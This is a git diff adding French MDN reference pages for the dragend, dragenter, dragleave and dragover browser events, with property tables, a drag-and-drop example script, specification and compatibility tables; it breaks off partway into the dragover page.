+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+&lt;/style&gt;
+
+&lt;script&gt;
+  <span>var dragged;
+
+  /* </span>Les événements sont déclenchés sur les objets glissables<span> */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // </span>Stocke une référence sur l'objet glissable<span>
+      dragged = event.target;
+      // </span>transparence 50%<span>
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // </span>reset de la transparence<span>
+      event.target.style.opacity = "";
+  }, false);
+
+  /* </span>Les événements sont déclenchés sur les cibles du drop<span> */
+  document.addEventListener("dragover", function( event ) {
+      // </span>Empêche default d'autoriser le drop<span>
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // </span>Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // r</span>eset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // </span>Empêche l'action par défaut (ouvrir comme lien pour certains éléments)<span>
+      event.preventDefault();
+      // </span>Déplace l'élément traîné vers la cible du drop sélectionnée<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);</span>
+&lt;/script&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragend")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avec Gecko, <strong>dragend</strong> n'est pas envoyé si la source du nœud est déplacée ou supprimée durant l'opération de glissement (par ex. durant un événement <strong>drop</strong> ou <strong>dragover</strong>). Voir {{bug("460801")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/document/dragenter_event/index.html b/files/fr/web/api/document/dragenter_event/index.html
new file mode 100644
index 0000000000..50739f9415
--- /dev/null
+++ b/files/fr/web/api/document/dragenter_event/index.html
@@ -0,0 +1,314 @@
+---
+title: dragenter
+slug: Web/API/Document/dragenter_event
+translation_of: Web/API/Document/dragenter_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong>dragenter</strong> est déclenché lorsqu'un élément glissé ou une sélection de texte entre dans une cible de drop valide.</p>
+
+<h2 id="Informations_généralesEdit">Informations générales<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Events/animationend$edit#Informations_g%C3%A9n%C3%A9rales"><span>Edit</span></a></h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("DragEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">La sélection immédiate de l'utilisateur (l'élément présentement indiqué par l'utilisateur comme cible pour le drop), ou l'élément {{HTMLElement("body")}}.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Rejette la sélection immédiate de l'utilisateur comme élément cible potentiel</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+&lt;/style&gt;
+
+&lt;script&gt;
+  <span>var dragged;
+
+  /* </span>Les événements sont déclenchés sur les objets glissables<span> */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // </span>Stocke une référence sur l'objet glissable<span>
+      dragged = event.target;
+      // </span>transparence 50%<span>
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // </span>reset de la transparence<span>
+      event.target.style.opacity = "";
+  }, false);
+
+  /* </span>Les événements sont déclenchés sur les cibles du drop<span> */
+  document.addEventListener("dragover", function( event ) {
+      // </span>Empêche default d'autoriser le drop<span>
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // </span>Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // r</span>eset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent<span> </span><span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // </span>Empêche l'action par défaut (ouvrir comme lien pour certains éléments)<span>
+      event.preventDefault();
+      // </span>Déplace l'élément traîné vers la cible du drop sélectionnée<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);</span>
+&lt;/script&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragenter")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblités_navigateurs">Compatiblités navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span id="summary_alias_container"><span id="short_desc_nonedit_display">L'événement <strong>dragenter</strong> est déclenché deux fois quand la zone de drop est parente de draggable ou gissable elle même. Voir </span></span>{{bug("804036")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/dragleave_event/index.html b/files/fr/web/api/document/dragleave_event/index.html
new file mode 100644
index 0000000000..ef32a3fe75
--- /dev/null
+++ b/files/fr/web/api/document/dragleave_event/index.html
@@ -0,0 +1,310 @@
+---
+title: dragleave
+slug: Web/API/Document/dragleave_event
+translation_of: Web/API/Document/dragleave_event
+---
+<p>L'événement <strong>dragleave </strong>est déclenché lorsqu'un élément glissé ou une sélection de texte quitte une cible de dépôt valide.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="new" href="https://developer.mozilla.org/fr/docs/Web/API/DragEvent" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>DragEvent</code></a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+&lt;/style&gt;
+
+&lt;script&gt;
+  <span>var dragged;
+
+  /* </span>Les événements sont déclenchés sur les objets glissables <span>*/
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // </span>Stocke une référence sur l'objet glissable<span>
+      dragged = event.target;
+      // </span>transparence 50%<span>
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // </span>reset de la transparence<span>
+      event.target.style.opacity = "";
+  }, false);
+
+  /* </span>Les événements sont déclenchés sur les cibles du drop <span>*/
+  document.addEventListener("dragover", function( event ) {
+      // </span>Empêche default d'autoriser le drop<span>
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // </span>Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      //</span> reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent <span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // </span>Empêche l'action par défaut (ouvrir comme lien pour certains éléments)<span>
+      event.preventDefault();
+      // </span>Déplace l'élément traîné vers la cible du drop sélectionnée<span>
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);</span>
+&lt;/script&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragleave")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/dragover_event/index.html b/files/fr/web/api/document/dragover_event/index.html
new file mode 100644
index 0000000000..2efc385956
--- /dev/null
+++ b/files/fr/web/api/document/dragover_event/index.html
@@ -0,0 +1,313 @@
+---
+title: dragover
+slug: Web/API/Document/dragover_event
+translation_of: Web/API/Document/dragover_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong>dragover </strong>est déclenché lorsqu'un élément ou une sélection de texte est glissé jusqu'à une cible de dépôt valide (toutes les 100ms)</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="new" href="https://developer.mozilla.org/fr/docs/Web/API/DragEvent" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>DragEvent</code></a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Reset l'opération de glissement courante à "none"</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
